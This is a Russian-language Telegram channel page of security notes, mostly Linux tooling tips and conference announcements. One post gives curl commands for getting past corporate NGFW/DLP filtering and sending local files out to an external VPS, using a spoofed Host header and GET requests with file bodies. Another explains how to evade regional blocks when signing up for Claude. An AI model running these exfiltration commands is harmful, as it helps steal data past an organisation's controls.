KGM's notes
رفتن به کانال در Telegram
Авторский контент на тему ИБ (web/mobile/social). Делюсь тем, что хотел бы получить сам когда-то. https://kgmnotes.ru/ - полезные статьи и заметки по ИБ https://0xmerch.ru - качественный ИБ-мерч Для связи: @Russian_OSlNT
نمایش بیشتر669
مشترکین
+124 ساعت
+277 روز
+17530 روز
آرشیو پست ها
668
Для тех, кто хочет попробовать поработать с Claude (в т.ч. с Claude Code), но пока не готов оформлять подписку, я разыграю в эту новогоднюю ночь 3 Guest Pass! Всех с наступающим!
668
🦾 Как начать путь vibecoding-а и vibehacking-а вместе с Claude
Чтобы начать использовать в своей работе передового ИИ-ассистента Claude, разработанного американской исследовательской компанией Anthropic, необходимо иметь три вещи:
🎭 [REDACTED] для того, чтобы скрыть факт подключения из России к серверам компании;
📧 почтовый ящик, желательно не в домене .ru (можно gmail.com или yandex.com);
📱 зарубежный номер телефона для одноразового приема SMS.
Номер телефона понадобится всего один раз (при регистрации) и восстановить доступ к аккаунту с помощью него пока что нет технической возможности - подробнее.
🪪 При регистрации желательно указывать возраст не менее 21 года.
💬 СМС с кодом подтверждения может идти несколько минут.
💎 После регистрации рекомендую сразу перейти на один из платных тарифов и вот почему:
1. При оплате подписки Pro (17$ в месяц) открывается доступ к специализированному инструменту Claude Code (агентный ИИ-инструмент, который генерирует, отлаживает, тестирует и рефакторит код автономно);
2. Также при наличии любой из платных подписок появляется техническая возможность подключения как к Desktop-приложению, так и Claude Code различных MCP-серверов, что позволит LLM от Claude активно взаимодействовать с внешним миром (примеры MCP-серверов).
📖 Также советую ознакомиться со статьей, посвященной оптимальному использованию Claude, чтобы понимать какой тариф вам действительно нужен и как им эффективно пользоваться
⚠️ Чтобы не мучить себя можно начать проксировать трафик только от приложения Claude. Сделать это можно, например, с помощью программы Proxifier (обязательно используйте правило "
Block Traffic to All UDP Ports if Matched the Rule"). Данным ПО имеет смысл пользоваться на Windows и MacOS, а на Linux можно обойтись с помощью использования переменных среды HTTP_PROXY и HTTPS_PROXY.668
🖥 Запускаем процессы, которые переживут закрытие терминала
Довольно часто приходится запускать различные процессы, которые могут работать не один час, и даже не один день (например, какие-нибудь сканирования портов/веб-приложений)! Неужели теперь держать все это время открытым терминал, в котором был запущен данный процесс?!
Популярные варианты запуска различных процессов в фоне
& и nohup имеют ряд ограничений: первый не переживёт закрытие терминала, второй не позволяет вернуться к процессу и видеть вывод в реальном времени.
Лично я использую утилиту screen, которая не имеет описанных выше недостатков.
📥 Установка:
# Debian/Ubuntu/Kali
sudo apt install screen
🚀 Основные команды:
screen -S имя_сессии # создать сессию с именем
screen -ls # список всех сессий
screen -r имя_сессии # подключиться к сессии
screen -d -r сессия # принудительно отключить другие подключения и подключиться
⌨️ Горячие клавиши внутри screen-сессии:
Ctrl+A, D — отключиться (detach), процесс продолжит работу
📜 Просмотр истории вывода:
Если запущенный в screen процесс выдал много строк, без входа в особый режим (режим скроллинга) их не просмотреть:
* Ctrl+A, Esc - войти в режим скроллинга
* Стрелки ↑/↓ или PgUp/PgDown - листать историю
* Esc - выйти из режима скроллинга
📋 Типичный сценарий использования утилиты:
# === Запускаем сканирование сети ===
screen -S nmap-scan
nmap -sV -sC -p- 192.168.1.0/24 -oA scan_results
# Ctrl+A, D — отключаемся
# === Запускаем бэкап ===
screen -S backup
./long_backup_script.sh
# Ctrl+A, D — отключаемся
# === Закрываем ноутбук, если работали удаленно, либо просто терминал в котором запускали данные процессы, идём пить кофе ===
# === Возвращаемся, смотрим что происходит ===
screen -ls
# There are screens on:
# 12345.nmap-scan (Detached)
# 12346.backup (Detached)
# Проверяем прогресс сканирования
screen -r nmap-scan
# Ctrl+A, Esc — листаем вывод, ищем найденные порты
# Ctrl+A, D — возвращаемся
# Проверяем статус бэкапа
screen -r backup
# Видим прогресс копирования файлов
# Если сессия помечена как Attached (забыли отключиться с другого терминала)
screen -d -r backup # принудительно отключит и подключит сюда
💡 Именование сессий через параметр (-S) - хорошая привычка. Без имён придётся ориентироваться по числовым ID, что неудобно при нескольких параллельных задачах.
🗑 Завершение сессии:
Если вы хотите на совсем закрыть виртуальный терминал:
# Изнутри сессии — просто выйти из шелла
exit
# или Ctrl+D
# Или принудительно убить окно
# Ctrl+A, K — подтвердить 'y'
# Снаружи — убить сессию по имени
screen -X -S имя_сессии quit
💡 Как альтернативу screen вы можете самостоятельно изучить работу tmux
🔗 Полезные ссылки:
- Официальная документация screen
- Официальная документация tmux
#linux #tools #screen #terminal
—
KGM's notes | KGM's notes (EN)668
🛠 PDTM - менеджер инструментов от ProjectDiscovery
После установки корректного времени на системе и актуальной версии Go я всегда ставлю
pdtm со всеми доступными инструментами от ProjectDiscovery.
Крайне советую устанавливать его всем, кто занимается анализом защищенности веб и мобильных приложений.
PDTM (ProjectDiscovery Tool Manager) упрощает установку, обновление и удаление таких инструментов как nuclei, httpx, subfinder, naabu, dnsx, katana и многих других.
📥 Установка pdtm:
1. Через Go (рекомендуется):
go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest
💡 Если Go не установлен - см. заметку «Установка актуальной версии Go на Ubuntu/Debian/Kali Linux», там же описана настройка PATH для корректной работы утилит ProjectDiscovery.
2. Готовые бинарники:
Доступны в разделе Releases: https://github.com/projectdiscovery/pdtm/releases
🚀 Использование pdtm:
1. Установка всех инструментов от ProjectDiscovery:
pdtm -ia
# или
pdtm -install-all
💡 По возможности лучше сразу устанавливать все инструменты. Перед установкой всех инструментов, рекомендуется предварительно доставить необходимые для корректной работы некоторых инструментов зависимости:
# Удовлетворение зависимостей для naabu и shuffledns соответственно
sudo apt install -y libpcap-dev massdns
2. Установка конкретных инструментов:
pdtm -i nuclei
# или несколько сразу
pdtm -i nuclei,httpx,subfinder
🔄 Обновление:
1. Обновить все установленные инструменты:
pdtm -ua
# или
pdtm -update-all
2. Обновить конкретные инструменты:
pdtm -u nuclei,httpx
3. Обновить сам pdtm:
pdtm -up
# или
pdtm -self-update
🗑 Удаление:
1. Удалить конкретный инструмент:
pdtm -r nuclei
2. Удалить несколько инструментов:
pdtm -r nuclei,httpx,subfinder
3. Удалить все инструменты:
pdtm -ra
# или
pdtm -remove-all
🔗 Полезные ссылки:
- GitHub репозиторий
- Официальная документация
- Доп. руководство по началу работы с pdtm
#linux #tools #projectdiscovery #pdtm
—
KGM's notes | KGM's notes (EN)668
Канал RedBlue Notes, который на днях вошел в топ главных ИБ-каналов 2025 г., ведется двумя моими бывшими студентами!
Я очень горжусь ими: ребята не только активно развиваются по своим направлениям (SOC/pentest), но и ведут совместно авторский ИБ-канал и даже выпускают свой подкаст!
Мне приятно слышать и осознавать то, что моя работа в ВУЗе, мои публичные выступления помогают многим ребятам найти себя в ИБ-отрасли (17:34 - 🥺).
P.S. На своем канале я планирую публиковать не только свои какие-то ресерчи по ИБ-тематике, но и выработанные лично мной практические советы по тому как приступить менее болезненно к анализу защищенности веб и мобильных приложений (это не замена Hack The Box Academy или Web Security Academy от PortSwigger, но точно отличная альтернатива перепечатываемым из поста в пост, из wiki в wiki примерам использования различных инструментов).
668
+2
🚀 20% усилий - 80% результата при обходе NGFW и DLP-систем
Тема интересная, много чего можно перепробовать на самом деле... Будем есть слона по частям и в этом посте начнем с разбора самых базовых способов обхода таких систем:
1) Если в организации запрещено прямое обращение на внешние ресурсы по IP-адресу, а вам необходимо скачать, например, с вашего VPS-сервера некоторый файл (но вы не желаете по какой-то причине заморачиваться с регистрацией домена), то стоит попробовать просто добавить фиктивный HTTP-заголовок Host, например:
БЫЛО:
curl <URL>/file.txt, где <URL> - это URL-адрес вашего VPS-сервера (протокол:ip:port). Допустим, что запрос, отправленный таким образом, отбрасывается в сети организации не может выйти в сеть Интернет;
СТАЛО: curl -H "Host: <DOMAIN>" <URL>/file.txt, где <DOMAIN> - доменное имя любого веб-сайта, доступ к которому не ограничен из сети организации (может это будет github.com или yandex.ru и т.д.);
И если вы планируете выгрузить файл на ваш VPS-сервер, то можете это сделать следующим образом:
curl -X POST -H "Host: <DOMAIN>" -F "file=@<PATH_TO_FILE>" <URL>/upload, где <PATH_TO_FILE> - путь до файла на диске
2) Если в организации запрещено выгружать файлы на внешние веб-ресурсы, а вам необходимо произвести эксфильтрацию данных на ваш VPS-сервер, то следует попробовать собрать неординарный HTTP-запрос:
БЫЛО: curl -X POST -F 'file=@<PATH_TO_FILE>' <URL>/upload, где <URL> - уже может содержать не только IP, но и доменное имя (про регистрацию доменных имен мы поговорим отдельно) - DLP распознает попытку передачи файла с помощью POST-запроса и блокирует его;
📜 Bypass данного ограничения мне пришел после реверса одного из мобильных приложений, в котором использовалась Яндекс Метрика. SDK-модуль Метрики слал на сервера компании Яндекс POST-запросы с GET-параметрами, мне это показалось интересным и я решил реализовать уже свой веб-сервер, который смог бы принимать GET-запросы с телом (как у обычных POST или PUT запросов) и сохранять отправляемые ему файлы
СТАЛО:
curl -X GET -F "file=@<PATH_TO_FILE>" <URL>/upload (а-ля POST-запрос, но в методе будет указан GET)
или
curl -X GET -T <PATH_TO_FILE> <URL>/upload (а-ля PUT-запрос, но в методе будет указан GET)
Вы можете самостоятельно посмотреть разницу между этими двумя способами отправки файлов с помощью Wireshark.
💡Стоит обратить внимание, что если вы работаете с HTTPS ресурсом, то добавляйте к каждому вызову curl параметр --insecure (или -k), так как зачастую NGFW и DLP-системы в организации будут подсовывать вам свой TLS-сертификат, чтобы читать весь ваш HTTPS-трафик.
Оба описанных в данной заметке способа позволили мне обойти различные NGFW и DLP-системы ведущих игроков на западном и отечественном рынках, дальше мы будем еще больше говорить о рабочих способах обхода таких систем
В продолжение к этому посту я выложу файл server.py, который позволит вам использовать оба описанных в данной заметке трюка. Базовый запуск: python server.py, если нужна будет помощь, то добавляйте параметр --help.
🔗 Полезные ссылки:
- T1567: Эксфильтрация через веб-службу (EN)
- T1567: Эксфильтрация через веб-службу (RU)
#curl #python #exfiltration #infiltration #exfil #T1567
—
KGM's notes | KGM's notes (EN)668
🛠 Обновление Go до требуемой версии на Ubuntu/Debian/Kali Linux
Если вы уже установили крайнюю версию
Go (именно так как это было описано в предыдущей заметке), и хотите откатиться до какой-то определенной прошлой версии, то просто выполните следующие команды:
# Укажите здесь конкретный номер версии, например go1.23.2.linux-amd64.tar.gz
FILENAME="go1.23.2.linux-amd64.tar.gz"
# Скачиваем интересующую нас версию
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"
# Удаляем прошлую установку и распаковываем новую
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"
echo "Go обновлён до версии: $LATEST_VERSION"
go version
✅ Ожидаемый результат:
Go обновлён до версии: go1.23.2 go version go1.23.2 linux/amd64#linux #go #setup — KGM's notes | KGM's notes (EN)
668
🛠 Установка актуальной версии Go на Ubuntu/Debian/Kali Linux
Если вам нужно установить последнюю версию
Go, настроить переменную PATH для корректной работы утилит, устанавливаемых через go install, а также инструментов от ProjectDiscovery (через pdtm), то выполните следующие команды:
# Обновляем список пакетов
sudo apt update
# Устанавливаем вспомогательную утилиту jq
sudo apt install jq -y
# Узнаём последнюю версию Go (stable) с официального JSON API
LATEST_VERSION=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version')
# Формируем имя архива (например: go1.25.4.linux-amd64.tar.gz)
FILENAME="${LATEST_VERSION}.linux-amd64.tar.gz"
# Скачиваем последнюю версию
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"
# Удаляем старую установку и распаковываем новую
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"
# Добавляем пути Go в переменную PATH
echo 'export PATH=/usr/local/go/bin:~/go/bin:~/.pdtm/go/bin:$PATH' >> ~/.profile
# Применяем изменения к текущей сессии
source ~/.profile
# Проверяем установленную версию
echo "Go обновлён до версии: $LATEST_VERSION"
go version
⚠️ Если у вас Kali Linux (где на момент написания заметки по умолчанию используется zsh), то дополнительно выполните следующие команды:
echo 'export PATH=/usr/local/go/bin:~/go/bin:~/.pdtm/go/bin:$PATH' >> ~/.zprofile
source ~/.zprofile
go version
✅ Ожидаемый результат:
Go обновлён до версии: go1.25.4 go version go1.25.4 linux/amd64🔄 Обновление
Go до актуальной версии:
LATEST_VERSION=$(curl -s https://go.dev/dl/?mode=json | jq -r '.[0].version')
FILENAME="${LATEST_VERSION}.linux-amd64.tar.gz"
wget "https://go.dev/dl/${FILENAME}" -O "/tmp/${FILENAME}"
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "/tmp/${FILENAME}"
echo "Go обновлён до версии: $LATEST_VERSION"
go version
💡 PATH уже настроен при первой установке, повторно добавлять его не нужно.
🔗 Полезные ссылки:
- Официальный сайт Go
- ProjectDiscovery
- pdtm
#linux #go #setup
—
KGM's notes | KGM's notes (EN)668
🔧 Решение проблемы синхронизации времени в Kali Linux (на VMware)
Люблю работать с VMware Workstation Pro и периодически скачиваю новые сборки виртуальных машин с оф. сайта Kali Linux. И каждый раз сталкиваюсь с проблемой рассинхронизации времени 🕓
После долгих экспериментов нашел для себя рабочее решение, которым и пользуюсь теперь на постоянной основе.
📝 Пример установки актуального московского времени на VM с Kali Linux:
# Обновление списка пакетов
sudo apt update
# Установка systemd-timesyncd для NTP-синхронизации
sudo apt install systemd-timesyncd -y
# Установка часового пояса (Москва, UTC+3)
sudo timedatectl set-timezone Europe/Moscow
# Включение автоматической синхронизации времени
sudo timedatectl set-ntp true
# Перезапуск сервиса синхронизации
sudo systemctl restart systemd-timesyncd
# Проверка результата. Убедитесь, что время на вашей системе установилось корректно
timedatectl
# Перезагрузка для применения всех изменений
reboot
🔗 Полезные ссылки:
- Где можно скачать VMware Workstation Pro
- Готовые виртуальные машины Kali Linux
#linux #kali #vmware #setup
—
KGM's notes | KGM's notes (EN)668
Всем привет! Тем, кто еще не успел приобрести билет на предстоящий ZeroNights, предлагаю поучаствовать в розыгрыше индивидуального промокода со скидкой 10% на билет. Затягивать не будем, вечером понедельника определится победитель
668
Некоторое время назад состоялась публикация моей первой статьи на Хакере: "
OTP — не проблема! Прокачиваем фишинг при помощи дыры в Exchange, Telegram-бота и Evilginx2" - по мотивам моего кейса, занявшего 1 место на Awillix Pentest Awards 2025 в номинации "Ловись рыбка".
К данному посту я прикладываю pdf-файл с более подробным описанием нюансов использованияTelegram Web App (или Telegram Mini Apps) в фишинговых кампаниях668
Запись доклада: "
Я тебе LoGiN, а ты мне креды? Пошло? Или почему мы до сих пор уязвимы перед CitrixBleed2"668
Запись доклада "
Использование Flipper Zero в RedTeam-проектах"
UPDATE. Не реклама, просто совет от себя: если вы захотите приобрести Flipper Zero, то можете рассмотреть вариант с Джумом, где они продаются официально! Себе я брал там же за ~15 тыс. рублей несколько лет назад. Цена на декабрь 2025 г. - 17 тыс. рублей668
Мои прошлые доклады:
https://files.bi.zone/f/08899fb60ce840c6a1a6/ - Offzone 2023
https://vk.com/video-172362100_456239226 - Offzone 2024
